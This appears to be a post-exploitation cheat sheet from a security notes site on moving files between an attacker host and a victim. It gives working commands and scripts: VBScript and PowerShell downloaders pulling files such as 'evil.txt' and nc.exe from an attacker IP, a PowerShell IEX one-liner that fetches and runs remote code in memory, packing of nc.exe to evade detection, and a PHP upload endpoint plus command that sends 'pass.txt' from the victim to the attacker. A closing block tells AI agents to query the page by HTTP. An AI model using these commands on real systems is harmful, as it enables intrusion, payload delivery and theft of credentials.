# File Transfer

#### Linux File Transfer

**Netcat - From Non-Interactive to Interactive Shell**

```bash
# Run the following commands after getting a non-interactive shell
python -c 'import pty; pty.spawn("/bin/bash")'

# Fix Arrows Issue
CTRL + Z
stty raw -echo 
fg
```

#### Windows File Transfer

**FTP**

```bash
# Install and configure FTP server
sudo apt update && sudo apt install pure-ftpd
# Follow the provided FTP configurations script

# Create ftp.txt file for FTP commands
echo open 192.168.1.8> ftp.txt
echo USER limbo> ftp.txt
echo limbo> ftp.txt
echo bin> ftp.txt
echo GET nc.exe> ftp.txt
echo bye> ftp.txt

# Transfer file using FTP
ftp -v -n -s:ftp.txt

# Fixing timeout problem
echo "40110 40210" | sudo tee /etc/pure-ftpd/conf/PassivePortRange
sudo service pure-ftpd restart
```

**VBScript to Download Files**

```vbscript
# Save the following content into wget.vbs
# Run using: cscript wget.vbs http://192.168.1.8/evil.txt evil.txt
```

```vbscript
strUrl = WScript.Arguments.Item(0)
StrFile = WScript.Arguments.Item(1)
Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0
Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0
Const HTTPREQUEST_PROXYSETTING_DIRECT = 1
Const HTTPREQUEST_PROXYSETTING_PROXY = 2
Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts
Err.Clear
Set http = Nothing
Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest")
If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP")
If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP")
http.Open "GET",strURL,False
http.Send
varByteArray = http.ResponseBody
Set http = Nothing
Set fs = CreateObject("Scripting.FileSystemObject")
Set ts = fs.CreateTextFile(StrFile,True)
strData = ""
strBuffer = ""
For lngCounter = 0 to UBound(varByteArray)
    ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1)))
Next
ts.Close
```

**PowerShell Commands to Download Files**

```powershell
# Save the following content into wget.ps1
# Run using: powershell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
```

```powershell
$webclient = New-Object System.Net.WebClient
$url = "http://192.168.1.8/evil2.txt"
$file = "evil2.txt"
$webclient.DownloadFile($url,$file)
```

```powershell
# PowerShell in one line
powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.8/evil2.txt', 'evil2-2.txt')
```

```powershell
# On-the-fly command (Run PowerShell script without downloading it on the hard disk)
powershell IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.1.8/hello.ps1')
```

#### Compressing and Encoding Executable

```bash
# Compress and encode nc.exe
upx -9 nc.exe

# Convert executable to hexadecimal format
exe2hex nc.exe -p nc.cmd

# Copy and paste the content of nc.cmd into the shell
```

#### File Upload from Victim to Attacker

```php
# Save the following PHP code into /var/www/html/upload.php
# Use the code to upload a file (e.g., pass.txt) from the victim to the attacker
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);
?>
```

```powershell
# Upload a file (e.g., pass.txt) using PowerShell
powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.1.8/upload.php', 'pass.txt')
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sallam.gitbook.io/sec-88/network-sec/post-exploitation/file-transfer.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
